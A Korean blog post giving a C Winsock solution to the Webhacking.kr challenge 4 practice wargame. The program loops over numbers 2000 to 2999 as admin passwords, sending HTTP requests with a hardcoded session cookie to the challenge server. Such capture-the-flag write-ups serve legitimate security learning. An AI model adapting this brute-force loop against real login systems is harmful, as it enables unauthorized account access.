본문 바로가기
웹해킹

[C Socket] Webhacking.kr 4

by dladbru 2012. 11. 28.

대부분.. Webhacking.kr 4 풀이는 Python 소스가많다..

python이 간결해서 그런것같다.

 

나는 C Socket으로 해보았다..

C 카테고리와 Webhacking 카테고리 둘중 어디다 올릴지 고민하다가

Webhacking 카테고리가 더 비어있어서.. 여기다쓴다

 

Windows Socket.

#include <stdio.h>
#include <conio.h>
#include <winsock2.h>
#include <windows.h>
 
#pragma comment(lib, "ws2_32.lib")
 

int main()
{
    SOCKET      hSock;
    WSADATA     wsadata;
    SOCKADDR_IN servAddr;
    char temp[300];
    char message[300]="GET http://webhacking.kr/challenge/web/web-04/index.php?cid=    admin&cpw=";
    char message2[]=" HTTP/1.1\r\n"
    "Host: webhacking.kr\r\n"
    "Cookie: PHPSESSID=3b272382b5e0515ec5537a1e21ec07c5; notice=yes\r\n\r\n";
     char message3[1000];
     char *output;
     int i=2000;
     if (WSAStartup(MAKEWORD(2, 2), &wsadata) != 0)
             return FALSE;
 
       
 
        memset(&servAddr, 0, sizeof(servAddr));
        servAddr.sin_family = AF_INET;
        servAddr.sin_addr.s_addr = inet_addr("116.127.123.49");
        servAddr.sin_port = htons(80);
 
  
        strcpy(temp,message);
        for(;i<3000;i++){
        hSock = socket(PF_INET, SOCK_STREAM, 0);
        if (hSock == INVALID_SOCKET)
             return FALSE;
        if(connect(hSock,(struct SOCKADDR *)&servAddr,sizeof(servAddr))==INVALID_SOCKET){
        printf("shut..");
        system("pause");
     }

  
     strcpy(message,temp);
     sprintf(message,"%s%d",message,i);
     sprintf(message3,"%s%s",message,message2);
  
     send(hSock,message3,sizeof(message3),0);
 
     ZeroMemory(message3,sizeof(message3));

     recv(hSock,message3,sizeof(message3),0);

     output=strstr(message3,"<font size="2">");
      printf("%s %d\n",output,i);

      closesocket(hSock);
 
      }
      printf("\n\n");
      return 0;
}
반응형

'웹해킹' 카테고리의 다른 글

SQL injection Skill Note  (0) 2013.09.15
New SQL Injection Site  (2) 2013.01.31
Webhacking.kr 기념스샷!  (4) 2012.12.17
[Webhacking.kr] Problem 2  (0) 2012.12.16
Webhacking.kr 51 풀이  (2) 2012.07.09

댓글